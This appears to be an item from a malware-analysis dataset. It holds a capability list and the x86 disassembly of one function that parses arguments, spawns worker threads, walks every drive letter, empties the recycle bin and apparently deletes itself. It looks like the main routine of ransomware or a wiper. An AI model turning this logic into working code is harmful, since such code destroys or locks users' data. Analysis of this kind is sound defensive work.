Function at 0x40b810
Capabilities:
Accept command line arguments
Create process on windows
Create thread
Empty the recycle bin
Get disk information
Get system information on windows
Self delete
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
push ebx
push esi
push edi
call fcn.00407120
call fcn.0040c9c0
call fcn.0040ade0
mov dword [0x40d270], eax
test eax, eax
je 0x40bc3a
lea eax, [ebp - 4]
mov dword [ebp - 4], 0
push eax
call dword [sym.imp.KERNEL32.DLL_GetCommandLineW]
push eax
call dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
push 0
mov ebx, eax
push 0
mov dword [ebp - 0x1c], ebx
call dword [sym.imp.KERNEL32.DLL_SetProcessShutdownParameters]
push 0x404220
push ebx
push dword [ebp - 4]
call fcn.0040ae90
add esp, 0xc
test eax, eax
je 0x40b889
push eax
mov dword [0x40d130], eax
call fcn.0040af00
add esp, 4
mov dword [0x40d26c], 1
call fcn.0040ab90
call fcn.0040aad0
call fcn.0040a9f0
push 7
push 0
push 0
call dword [sym.imp.SHELL32.dll_SHEmptyRecycleBinA]
lea eax, [ebp - 0x40]
push eax
call dword [sym.imp.KERNEL32.DLL_GetSystemInfo]
mov eax, dword [ebp - 0x2c]
shl eax, 2
mov ebx, eax
shr ebx, 1
mov dword [ebp - 0xc], ebx
lea eax, [eax + eax*2]
add eax, eax
push eax
push 0x40d20c
call fcn.0040ca50
lea eax, [ebx + ebx*2]
push eax
push 0x40d23c
call fcn.0040ca50
lea esi, [ebx*4]
push esi
call fcn.0040c970
push esi
mov dword [ebp - 8], eax
call fcn.0040c970
mov edi, eax
add esp, 0x18
mov eax, dword [ebp - 8]
mov dword [ebp - 0x14], edi
test eax, eax
je 0x40bc1e
test edi, edi
je 0x40bc1e
push esi
push 0
push eax
call fcn.0040ca10
push esi
push 0
push edi
call fcn.0040ca10
add esp, 0x18
test ebx, ebx
je 0x40b96b
mov eax, dword [ebp - 8]
mov esi, edi
sub eax, edi
mov edi, ebx
mov dword [ebp - 0x18], eax
mov ebx, eax
push 0
push 0
push 1
push 0x40c8a0
push 0
push 0
call dword [sym.imp.KERNEL32.DLL_CreateThread]
push 0
push 0
push 0
push 0x40c8a0
push 0
push 0
mov dword [ebx + esi], eax
call dword [sym.imp.KERNEL32.DLL_CreateThread]
mov dword [esi], eax
lea esi, [esi + 4]
sub edi, 1
jne 0x40b931
mov ebx, dword [ebp - 0xc]
mov edi, dword [ebp - 0x1c]
push 0x40422c
push edi
push dword [ebp - 4]
call fcn.0040ae90
push 0x40423c
push edi
push dword [ebp - 4]
mov esi, eax
mov dword [ebp - 0x10], esi
call fcn.0040ae90
add esp, 0x18
mov edi, eax
mov eax, dword [sym.imp.KERNEL32.DLL_lstrlenW]
test esi, esi
je 0x40ba22
push esi
mov dword [ebp - 0x18], 1
call eax
xor ecx, ecx
test eax, eax
jle 0x40b9ca
lea ebx, [ecx + 1]
cmp word [esi + ecx*2], 0x2c
jne 0x40b9c2
xor edx, edx
inc ebx
mov word [esi + ecx*2], dx
inc ecx
cmp ecx, eax
jl 0x40b9b4
mov dword [ebp - 0x18], ebx
mov ebx, dword [ebp - 0x18]
nop dword [eax]
push esi
call dword [sym.imp.KERNEL32.DLL_lstrlenW]
lea eax, [eax*2 + 2]
push eax
call fcn.0040c970
add esp, 4
mov esi, eax
push dword [ebp - 0x10]
push esi
call dword [sym.imp.KERNEL32.DLL_lstrcpyW]
push esi
call fcn.0040bc60
push esi
call fcn.0040c9a0
mov esi, dword [ebp - 0x10]
add esp, 8
push esi
call dword [sym.imp.KERNEL32.DLL_lstrlenW]
lea esi, [esi + eax*2]
add esi, 2
mov dword [ebp - 0x10], esi
sub ebx, 1
jne 0x40b9d0
mov ebx, dword [ebp - 0xc]
mov eax, dword [sym.imp.KERNEL32.DLL_lstrlenW]
test edi, edi
je 0x40bace
mov esi, 1
push edi
mov dword [ebp - 0x18], esi
call eax
xor ecx, ecx
test eax, eax
jle 0x40ba56
nop dword [eax + eax]
cmp word [edi + ecx*2], 0x2c
jne 0x40ba4e
xor edx, edx
inc esi
mov word [edi + ecx*2], dx
inc ecx
cmp ecx, eax
jl 0x40ba40
mov dword [ebp - 0x18], esi
mov ebx, dword [ebp - 0x18]
nop dword [eax]
push edi
call dword [sym.imp.KERNEL32.DLL_lstrlenW]
lea eax, [eax*2 + 2]
push eax
call fcn.0040c970
add esp, 4
mov esi, eax
push edi
push esi
call dword [sym.imp.KERNEL32.DLL_lstrcpyW]
push esi
call dword [sym.imp.KERNEL32.DLL_lstrlenW]
cmp eax, 2
jne 0x40ba9f
cmp word [esi + 2], 0x3a
jne 0x40ba9f
movzx eax, word [esi]
push eax
call fcn.0040b750
jmp 0x40baa5
push esi
call fcn.0040c5c0
add esp, 4
push esi
call fcn.0040c9a0
add esp, 4
push edi
call dword [sym.imp.KERNEL32.DLL_lstrlenW]
lea edi, [edi + eax*2]
add edi, 2
sub ebx, 1
jne 0x40ba60
mov ebx, dword [ebp - 0xc]
test edi, edi
jne 0x40bb6c
cmp dword [ebp - 0x10], 0
jne 0x40bb6c
push 0x404248
push 0
push 0x1f0001
call dword [sym.imp.KERNEL32.DLL_OpenMutexA]
test eax, eax
jne 0x40bb6c
push 0x404248
push eax
push eax
call dword [sym.imp.KERNEL32.DLL_CreateMutexA]
mov edi, dword [ebp - 0x1c]
push 0x404268
push edi
push dword [ebp - 4]
call fcn.0040ae30
add esp, 0xc
cmp al, 1
jne 0x40bb1d
push 0
call fcn.0040bfd0
add esp, 4
call fcn.0040a7c0
call dword [sym.imp.KERNEL32.DLL_GetLogicalDrives]
mov ebx, eax
test ebx, ebx
je 0x40bb4a
mov esi, 0x41
test bl, 1
je 0x40bb41
push esi
call fcn.0040b750
add esp, 4
inc esi
shr ebx, 1
cmp si, 0x5a
jbe 0x40bb33
push 0x404268
push edi
push dword [ebp - 4]
call fcn.0040ae30
add esp, 0xc
test al, al
jne 0x40bb69
push 0
call fcn.0040bfd0
add esp, 4
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x40bbec
mov esi, ebx
push 1
push 0
push 0x40d23c
call fcn.0040cb30
add esp, 0xc
sub esi, 1
jne 0x40bb72
mov edi, dword [sym.imp.KERNEL32.DLL_WaitForMultipleObjects]
push 0xffffffffffffffff
push 1
push dword [ebp - 8]
push ebx
call edi
mov esi, ebx
nop word [eax + eax]
push 1
push 0
push 0x40d20c
call fcn.0040cb30
add esp, 0xc
sub esi, 1
jne 0x40bba0
push 0xffffffffffffffff
push 1
push dword [ebp - 0x14]
push ebx
call edi
call fcn.0040a9f0
mov eax, dword [ebp - 8]
mov esi, dword [ebp - 0x14]
sub eax, esi
mov edi, dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov dword [ebp - 0x1c], eax
push dword [esi + eax]
call edi
push dword [esi]
call edi
mov eax, dword [ebp - 0x1c]
lea esi, [esi + 4]
sub ebx, 1
jne 0x40bbd6
jmp 0x40bc0b
mov esi, dword [sym.imp.KERNEL32.DLL_WaitForMultipleObjects]
push 0xffffffffffffffff
push 1
push dword [ebp - 8]
push ebx
call esi
push 0xffffffffffffffff
push 1
push dword [ebp - 0x14]
push ebx
call esi
call fcn.0040a9f0
push dword [ebp - 8]
call fcn.0040c9a0
push dword [ebp - 0x14]
call fcn.0040c9a0
add esp, 8
cmp dword [0x40d26c], 0
je 0x40bc2c
call fcn.0040b010
push 0
push dword [0x40d270]
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
push 0
push 0
push 0x404270
push 0x401dc8
push 0x401dd8
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
push 0
call dword [sym.imp.KERNEL32.DLL_ExitProcess]